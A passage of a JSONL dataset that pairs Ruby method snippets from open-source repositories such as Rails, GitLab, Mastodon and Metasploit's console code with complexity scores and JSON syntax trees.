ASC\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sorted\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"expired_last_due_date_desc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sorted\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"due_date\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sorted\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"due_date\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sorted\"]},\"with_order_id_desc\"]}]}]}","id":"b6e5f0bf-0c54-4166-99d4-8fa34afa2e41"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/foreign_key_test.rb","start_line":385,"raw_source":"def test_foreign_key_exists_by_column\n          @connection.add_foreign_key :astronauts, :rockets, column: \"rocket_id\"\n\n          assert @connection.foreign_key_exists?(:astronauts, column: \"rocket_id\")\n          assert_not @connection.foreign_key_exists?(:astronauts, column: \"star_id\")\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_foreign_key_exists_by_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"astronauts\"]},{\"type\":\"sym\",\"children\":[\"rockets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"str\",\"children\":[\"rocket_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"foreign_key_exists?\",{\"type\":\"sym\",\"children\":[\"astronauts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"str\",\"children\":[\"rocket_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"foreign_key_exists?\",{\"type\":\"sym\",\"children\":[\"astronauts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"str\",\"children\":[\"star_id\"]}]}]}]}]}]}]}","id":"ce5d6991-756d-4cc4-9db6-3b1f493716fa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/issue.rb","start_line":706,"raw_source":"def merge_requests_count(user = nil)\n    ::MergeRequestsClosingIssues.count_for_issue(self.id, user)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_requests_count\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequestsClosingIssues\"]},\"count_for_issue\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}","id":"a488b0de-e09d-42f4-a9b6-0a640b7a18c2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/clusters/cluster.rb","start_line":247,"raw_source":"def first_group\n      strong_memoize(:first_group) do\n        groups.first\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"first_group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"first_group\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"groups\"]},\"first\"]}]}]}","id":"80531bcc-9a14-464d-8d1e-f55012bd5a06"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexers/haml.rb","start_line":48,"raw_source":"def filters\n        @filters ||= {\n          'javascript' => Javascript.new(options),\n          'css' => CSS.new(options),\n          'ruby' => ruby,\n          'erb' => ERB.new(options),\n          'markdown' => Markdown.new(options),\n          # TODO\n          # 'sass' => Sass.new(options),\n          # 'textile' => Textile.new(options),\n          # 'maruku' => Maruku.new(options),\n        }\n      end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"filters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@filters\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"javascript\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Javascript\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"options\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"css\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CSS\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"options\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ruby\"]},{\"type\":\"send\",\"children\":[null,\"ruby\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"erb\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"options\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"markdown\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Markdown\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"options\"]}]}]}]}]}]}","id":"a98735ef-69c7-4244-855e-d049b08e2191"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/restore_executor.rb","start_line":38,"raw_source":"def execute\n          initialize_database_connection!\n          read_metadata!\n\n          execute_all_tasks\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"initialize_database_connection!\"]},{\"type\":\"send\",\"children\":[null,\"read_metadata!\"]},{\"type\":\"send\",\"children\":[null,\"execute_all_tasks\"]}]}]}","id":"2a889ab0-804e-4a09-9838-b10b0567de3f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_one_through_associations_test.rb","start_line":398,"raw_source":"def test_has_one_through_belongs_to_setting_belongs_to_foreign_key_after_nil_target_loaded\n    minivan = Minivan.new\n\n    minivan.dashboard\n    proxy = minivan.send(:association_instance_get, :dashboard)\n\n    minivan.speedometer_id = speedometers(:second).id\n\n    assert_predicate proxy, :stale_target?\n    assert_equal dashboards(:second), minivan.dashboard\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_one_through_belongs_to_setting_belongs_to_foreign_key_after_nil_target_loaded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"minivan\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minivan\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minivan\"]},\"dashboard\"]},{\"type\":\"lvasgn\",\"children\":[\"proxy\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minivan\"]},\"send\",{\"type\":\"sym\",\"children\":[\"association_instance_get\"]},{\"type\":\"sym\",\"children\":[\"dashboard\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minivan\"]},\"speedometer_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"speedometers\",{\"type\":\"sym\",\"children\":[\"second\"]}]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"proxy\"]},{\"type\":\"sym\",\"children\":[\"stale_target?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"dashboards\",{\"type\":\"sym\",\"children\":[\"second\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minivan\"]},\"dashboard\"]}]}]}]}","id":"daaabe07-f67c-4396-87b7-72e5da9c087c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/graphql/authorize/authorize_resource_spec.rb","start_line":14,"raw_source":"def initialize(user, found_object, scope_validator)\n        @user = user\n        @found_object = found_object\n        @scope_validator = scope_validator\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"found_object\"]},{\"type\":\"arg\",\"children\":[\"scope_validator\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@found_object\",{\"type\":\"lvar\",\"children\":[\"found_object\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@scope_validator\",{\"type\":\"lvar\",\"children\":[\"scope_validator\"]}]}]}]}","id":"cd67f9c4-7690-49b2-9267-8cd6da75de8a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250917110819_add_cargo_max_file_size_to_plan_limit.rb","start_line":7,"raw_source":"def up\n    add_column :plan_limits, :cargo_max_file_size, :bigint, default: 5.gigabytes, null: false\n  end","complexity_score":2.55,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"plan_limits\"]},{\"type\":\"sym\",\"children\":[\"cargo_max_file_size\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"gigabytes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"dce0e271-be9d-49c7-b0b5-f82c66a503e4"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/web/rack_logger.rb","start_line":81,"raw_source":"def accepts_entry_payload?(logger)\n            logger.method(:info).parameters.any? { |(type, _)| type == :keyrest }\n          end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"accepts_entry_payload?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"logger\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"method\",{\"type\":\"sym\",\"children\":[\"info\"]}]},\"parameters\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"keyrest\"]}]}]}]}","id":"24bdd4cc-e2c6-406b-a637-0493f7d429ad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/auth/container_registry_authentication_service.rb","start_line":340,"raw_source":"def deploy_token_can_pull?(requested_project)\n      has_authentication_ability?(:read_container_image) &&\n        deploy_token.present? &&\n        can?(deploy_token, :read_container_image, requested_project)\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"deploy_token_can_pull?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"requested_project\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_authentication_ability?\",{\"type\":\"sym\",\"children\":[\"read_container_image\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deploy_token\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"deploy_token\"]},{\"type\":\"sym\",\"children\":[\"read_container_image\"]},{\"type\":\"lvar\",\"children\":[\"requested_project\"]}]}]}]}","id":"a8d7d264-b5a3-4f7c-90ee-2471c9e0c926"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/system/admin/domain_allows_spec.rb","start_line":58,"raw_source":"def delete_domain_allow\n      click_on I18n.t('admin.domain_allows.undo')\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_domain_allow\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.domain_allows.undo\"]}]}]}]}","id":"43f08373-4507-4d1c-ab5f-4defc4e455d8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_region.rb","start_line":21,"raw_source":"def miq_region\n    self.class.id_to_miq_region[region_number] || (self.class.id_to_miq_region[region_number] = MiqRegion.where(:region => region_number).first)\n  end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"miq_region\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"id_to_miq_region\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"region_number\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"id_to_miq_region\"]},\"[]=\",{\"type\":\"send\",\"children\":[null,\"region_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqRegion\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"region\"]},{\"type\":\"send\",\"children\":[null,\"region_number\"]}]}]}]},\"first\"]}]}]}]}]}","id":"f85442fc-9e20-4098-8cdd-74e65b256749"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/twitter/callbacks_controller.rb","start_line":39,"raw_source":"def ensure_access_token\n    twitter_client.access_token(\n      oauth_token: permitted_params[:oauth_token],\n      oauth_verifier: permitted_params[:oauth_verifier]\n    )\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_access_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"twitter_client\"]},\"access_token\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"oauth_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"oauth_token\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"oauth_verifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"oauth_verifier\"]}]}]}]}]}]}","id":"27128bdd-07e0-41ab-b23a-ab3f2485eda3"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/activities_tab/index_component.rb","start_line":111,"raw_source":"def polling_interval\n        # Polling interval should only be adjustable in test environment\n        if Rails.env.test?\n          ENV[\"WORK_PACKAGES_ACTIVITIES_TAB_POLLING_INTERVAL_IN_MS\"].presence || 10000\n        else\n          10000\n        end\n      end","complexity_score":7.48,"ast_json":"{\"type\":\"def\",\"children\":[\"polling_interval\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WORK_PACKAGES_ACTIVITIES_TAB_POLLING_INTERVAL_IN_MS\"]}]},\"presence\"]},{\"type\":\"int\",\"children\":[10000]}]},{\"type\":\"int\",\"children\":[10000]}]}]}","id":"a3c67614-3555-47d1-b6a9-0104299ece96"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":401,"raw_source":"def test_render_renderable_render_in\n    assert_equal \"Hello, World!\", @view.render(TestRenderable.new)\n    assert_equal \"Hello, World!\", @view.render(renderable: TestRenderable.new)\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_renderable_render_in\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello, World!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestRenderable\"]},\"new\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello, World!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"renderable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestRenderable\"]},\"new\"]}]}]}]}]}]}]}","id":"776b0d4d-1748-4085-8afa-222d9a0580d9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/ui/text/input/readline.rb","start_line":20,"raw_source":"def initialize(tab_complete_proc = nil)\n      if(not Object.const_defined?('Readline'))\n        require 'readline'\n      end\n\n      self.extend(::Readline)\n\n      if tab_complete_proc\n        ::Readline.basic_word_break_characters = \"\"\n        @rl_saved_proc = with_error_handling(tab_complete_proc)\n        ::Readline.completion_proc = @rl_saved_proc\n      end\n    end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"tab_complete_proc\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"const_defined?\",{\"type\":\"str\",\"children\":[\"Readline\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"readline\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"extend\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Readline\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tab_complete_proc\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Readline\"]},\"basic_word_break_characters=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@rl_saved_proc\",{\"type\":\"send\",\"children\":[null,\"with_error_handling\",{\"type\":\"lvar\",\"children\":[\"tab_complete_proc\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Readline\"]},\"completion_proc=\",{\"type\":\"ivar\",\"children\":[\"@rl_saved_proc\"]}]}]},null]}]}]}","id":"0bd1469a-a09f-4a55-9645-bc5ca37abd00"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/ambiguous_operator_precedence.rb","start_line":79,"raw_source":"def precedence(node)\n          @node_precedences.fetch(node) do\n            PRECEDENCE.index { |operators| operators.include?(operator_name(node)) }\n          end\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"precedence\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@node_precedences\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PRECEDENCE\"]},\"index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"operators\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operators\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"operator_name\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}]}","id":"6d54acfb-ada9-40f6-bace-461819ccd378"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/table_helpers/table_representer.rb","start_line":176,"raw_source":"def days_for(ignore_non_working_days)\n        if ignore_non_working_days\n          WorkPackages::Shared::AllDays.new\n        else\n          WorkPackages::Shared::WorkingDays.new\n        end\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"days_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ignore_non_working_days\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_non_working_days\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"Shared\"]},\"AllDays\"]},\"new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"Shared\"]},\"WorkingDays\"]},\"new\"]}]}]}","id":"e13a94f8-d2b0-4e18-bf36-095b26199b9c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/file_test.rb","start_line":86,"raw_source":"def test_probe_stat_in_when_no_dir\n    assert_nil File.probe_stat_in(\"/dir/does/not/exist\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_probe_stat_in_when_no_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"probe_stat_in\",{\"type\":\"str\",\"children\":[\"/dir/does/not/exist\"]}]}]}]}","id":"64667c21-8907-4808-b0ce-f138dd593455"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/app/controllers/two_factor_authentication/authentication_controller.rb","start_line":117,"raw_source":"def service_from_resend_params\n      channel = params[:use_channel].presence\n      device =\n        if params[:use_device].present?\n          @authenticated_user.otp_devices.find(params[:use_device])\n        end\n\n      otp_service(@authenticated_user, use_channel: channel, use_device: device)\n    rescue ActiveRecord::RecordNotFound\n      render_404\n      false\n    end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"service_from_resend_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"use_channel\"]}]},\"presence\"]}]},{\"type\":\"lvasgn\",\"children\":[\"device\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"use_device\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@authenticated_user\"]},\"otp_devices\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"use_device\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"otp_service\",{\"type\":\"ivar\",\"children\":[\"@authenticated_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_channel\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_device\"]},{\"type\":\"lvar\",\"children\":[\"device\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_404\"]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"23460741-cb23-406e-947b-f9458b2501f4"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/fasp/provider.rb","start_line":79,"raw_source":"def server_public_key_base64\n    Base64.strict_encode64(server_private_key.raw_public_key)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"server_public_key_base64\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_encode64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_private_key\"]},\"raw_public_key\"]}]}]}","id":"2120930c-7f5c-4e8e-84b8-03c3f904b75b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_pool_test.rb","start_line":581,"raw_source":"def test_jitter_evaluation\n        pool = new_pool_with_options(max_age: 10, pool_jitter: 0.5, async: false)\n        conn = pool.checkout\n\n        conn.instance_variable_set(:@pool_jitter, 0.25)\n\n        assert_equal 75, conn.pool_jitter(100)\n      end","complexity_score":8.75,"ast_json":"{\"type\":\"def\",\"children\":[\"test_jitter_evaluation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pool\",{\"type\":\"send\",\"children\":[null,\"new_pool_with_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_age\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pool_jitter\"]},{\"type\":\"float\",\"children\":[0.5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"async\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"conn\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"checkout\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@pool_jitter\"]},{\"type\":\"float\",\"children\":[0.25]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[75]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"pool_jitter\",{\"type\":\"int\",\"children\":[100]}]}]}]}]}","id":"e70780a2-ea02-4238-8a77-8c87562570b2"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/stylesheet/compiler.rb","start_line":51,"raw_source":"def self.compile(stylesheet, filename, options = {})\n      source_map_file = options[:source_map_file] || \"#{filename.sub(\".scss\", \"\")}.css.map\"\n\n      load_paths = [ASSET_ROOT]\n      load_paths += options[:load_paths] if options[:load_paths]\n\n      silence_deprecations = %w[color-functions import global-builtin]\n      fatal_deprecations = []\n\n      if options[:strict_deprecations]\n        fatal_deprecations << \"mixed-decls\"\n      else\n        silence_deprecations << \"mixed-decls\"\n      end\n\n      engine =\n        SassC::Engine.new(\n          stylesheet,\n          filename: filename,\n          style: :compressed,\n          source_map_file: source_map_file,\n          source_map_contents: true,\n          load_paths: load_paths,\n          silence_deprecations:,\n          fatal_deprecations:,\n          quiet: ENV[\"QUIET_SASS_DEPRECATIONS\"] == \"1\",\n        )\n\n      result = engine.render\n\n      source_map = engine.source_map\n      source_map.force_encoding(\"UTF-8\")\n\n      result, source_map =\n        AssetProcessor.new.post_css(css: result, map: source_map, source_map_file: source_map_file)\n\n      if options[:rtl]\n        require 